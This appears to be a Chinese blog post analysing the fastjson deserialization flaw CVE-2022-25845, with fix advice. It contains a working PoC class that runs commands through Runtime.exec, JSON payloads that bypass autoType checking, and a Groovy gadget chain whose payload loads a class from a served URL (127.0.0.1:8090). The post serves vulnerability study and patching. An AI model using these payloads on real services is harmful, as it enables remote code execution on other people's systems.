CVE-2022-25845 反序列化漏洞分析

测试环境:
jdk1.8 + fastjson 1.2.80 + win10

实验POC:

public class Poc extends Exception {
    public void setName(String str) {
        try {
            Runtime.getRuntime().exec(str);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

public class PocDemo {
    public static void main(String[] args) {
        String strClassName = "com.example.fastjson.Poc";
        // ParserConfig.getGlobalInstance().setSafeMode(true);  //通过代码方式打开safeMode, safeMode禁止任何autoType类型反序列化

        /*===================================
         * 原 POC, 默认情况可以绕过autoType检查
         *==================================*/
        String json0 = "{\"@type\":\"java.lang.Exception\",\"@type\":\"com.example.fastjson.Poc\",\"name\":\"calc\"}";  //外层是java.lang.Exception
        JSON.parse(json0);


        

        // 探索可以直接反序列化某个类的方式
        // 方式1 添加白名单
        // ParserConfig.getGlobalInstance().addAccept(strClassName);  //添加到白名单后可以直接进行反序列化该类,不需内嵌到 java.lang.Exception

        // 方式2 手动加载类并添加到映射
        Class class_poc = TypeUtils.loadClass(strClassName);  //手动加载类,但是没有添加到mapping中,无法利用
        TypeUtils.addMapping(strClassName, class_poc);  //加载该类后,需要添加到类的映射中才能通过检查

        String json = "{\"@type\":\"com.example.fastjson.Poc\",\"name\":\"calc\"}";  //直接放到第一层需要添加白名单或者手动加载类并加入映射中
        JSON.parse(json);
    }
}

实验结果:

CVE-2022-25845 反序列化漏洞分析_第1张图片
该漏洞POC演示了利用java.lang.Exception 绕过autoTypeSupport实现反序列化命令执行。
调试发现java.lang.Exception 类不在黑白名单中,也不在内部的黑白名单中,并且该类默认已被加载,在映射中可以找到;

 

利用条件:
1. 当反序列化数据中外层的类为java.lang.Exception时,能绕过checkAutoType检查,会对其余的数据继续执行反序列化。
2. 执行内层反序列化的checkAutoType检查时,指定的期望类型是Throwable.class,因为指定了期望类,在检查的后期会信任并加载内层数据中的类并执行反序列化。因此利用成功的关键是内层的json类必须继承了接口Throwable,而且存在命令执行的接口。

必须满足这两个条件。
这也就是为什么POC中内层的类是自定义的,因为目前在公共的类中还没有找到满足上述要求的类。

从利用条件来看,漏洞的利用难度较大,暂时没有发现好用的标的类。

漏洞分析:

第一次检查:

类型为java.lang.Exception

 expectClass为空,这是因为外层的接口并没有指定期望类

CVE-2022-25845 反序列化漏洞分析_第2张图片

 该类既不属于内部白名单,也不满足autoType开启条件,也没有指定期望的类型,跳过。

CVE-2022-25845 反序列化漏洞分析_第3张图片该类已存在缓存中,默认安全,直接返回该类了。

CVE-2022-25845 反序列化漏洞分析_第4张图片

 

通过checkAutoType检查后,执行反序列化:

反序列化器的类型是ThrowableDeserializer, 目标类是java.lang.Exception.

第一关挺好过的,哈哈..

接下来执行ThrowableDeserializer类的反序列化

CVE-2022-25845 反序列化漏洞分析_第5张图片

看得出来,不同类的反序列化动作是在分开的类中实现的。

接下来又执行一遍checkAutoType,只不过这次的第二个参数不为空了,变成了Throwable.class

这个参数在检查逻辑里面挺关键的,大概的意思是执行者期望反序列化成某类,而不是任意类,安全性相对高一些。

前面的检查是一样的,但这里开始有点不同:

CVE-2022-25845 反序列化漏洞分析_第6张图片

因为expectClassFlag的值为真,因此进入了下面的代码块。

这里动作是黑白名单检查,从代码中可以看出,白名单的优先级更高,如果在白名单里则直接返回了。

自己定义的类当然不在黑白名单中,于是进入下一步:

CVE-2022-25845 反序列化漏洞分析_第7张图片

跟上一回一样,尝试了好几种方式(这些被认为是可信的)找该类,没有找到,进入下一步。

CVE-2022-25845 反序列化漏洞分析_第8张图片

autoTypeSupport没有开启,开始第二次比对黑白名单,但这一次黑名单的优先级更高。如果在黑名单中,则直接抛出异常。若在白名单中,则加载该类并返回。

继续下一步:

CVE-2022-25845 反序列化漏洞分析_第9张图片

这里的逻辑没有看懂... 理解的师傅请指导一下小菜~

CVE-2022-25845 反序列化漏洞分析_第10张图片

因为expectClassFlag为真,因此可以加载类。

CVE-2022-25845 反序列化漏洞分析_第11张图片

将该类添加到缓存中并返回。因为是用户期望的类,默认就信任了。

从上面加载类的逻辑来看,还有两种情况:1)autoTypeSupport开启,2)jsonType为真则会加载类,这两种情况下是信任的。

checkAutoType的核心逻辑:
1. 是否开启safeMode,如果开启,则直接拒绝autoType,拥有最高优先级;
2. 是否指定了反序列化期望类型 => expectClassFlag;
3. 计算类名hash,并比对内部白名单 => internalWhite;
4. 内部黑名单是否为空,不为空则比对内部黑名单,在内部黑名单中则抛出异常;
5. 如果不在内部白名单中,但是autoTypeSupport开启或者指定了期望的类型:
   a. 是否在白名单中,在则加载类并返回;
   b. 如果当前hash在黑名单中但整个类名的hash在白名单中,则继续;
   c. 如果在黑名单中且不在白名单中,则抛出异常。
6. 黑白名单如果不能鉴定该类则开始在当前环境中查找该类:
   a. 从映射中查找;
   b. 从支持的反序列化器中查找;
   c. 从类型映射中查找;
   d. 如果是内部白名单,则加载该类。
7. 若找到了返回该类;
8. 没有找到,说明该类不在黑白名单中,也不在执行环境中,属于未知的类型。若autoTypeSupport没有开启,则再校验一次黑白名单,如果在黑名单内则抛出异常,如果在白名单内则加载该类并返回。

9. 若还是没有鉴定出来,则计算一个jsonType;

10. autoTypeSupport开关、jsonType、expectClassFlag三种有一个为真,则加载类。

从上面的检查逻辑来看,各种黑白名单、条件、变动参数杂糅在一起,因此容易出现bug.

漏洞利用:

这里探测版本和依赖包就略过了,只贴代码执行

要找到一条起始于java.lang.Exception的gadgets, 参考浅蓝KCon的思路,利用Groovy执行代码

第一步:利用java.lang.Exception将org.codehaus.groovy.control.CompilationFailedException添加到缓存,在构造CompilationFailedException对象的时候,指定了成员unit的值,unit的类型是org.codehaus.groovy.control.ProcessingUnit,该类也会被加入缓存中。

{
    "@type":"java.lang.Exception",
    "@type":"org.codehaus.groovy.control.CompilationFailedException",
    "unit":{}
}


第二步:利用org.codehaus.groovy.control.ProcessingUnit的子类org.codehaus.groovy.tools.javac.JavaStubCompilationUnit的成员config(类型是org.codehaus.groovy.control.CompilerConfiguration),构造其成员classPathList,指定类的加载路径。从而会从路径的相对路径/META-INF/services/下载文件org.codehaus.groovy.transform.ASTTransformation,从文件里读取内容(测试中使用的是Blue),并当作类名加载执行。

{
    "@type":"org.codehaus.groovy.control.ProcessingUnit",
    "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
    "config":{
     "@type":"org.codehaus.groovy.control.CompilerConfiguration",
     "classpathList":"http://127.0.0.1:8090/"
    }
}

注意一下Blue class的定义(这里我卡了很久,看PPT要仔细):

CVE-2022-25845 反序列化漏洞分析_第12张图片

总结一下利用的思路:

利用java.lang.Exception将继承于Throwable的期望内添加到缓存,然后一级一级往下查找、缓存,找到可以用来执行代码路径的类,构造Gadgets。整个利用过程非常巧妙。

漏洞修复:

1. 升级到1.2.80以上版本;

2. 不需要进行反序列化则直接开启safeMode;

3. 将相关的利用的类加入黑名单。

参考:

KCon/Hacking JSON【KCon2022】.pdf at master · knownsec/KCon · GitHub
Fastjson 代码执行 CVE-2022-25845 - FreeBuf网络安全行业门户

你可能感兴趣的:(漏洞安全,安全技术,java,反序列化漏洞,fastjson)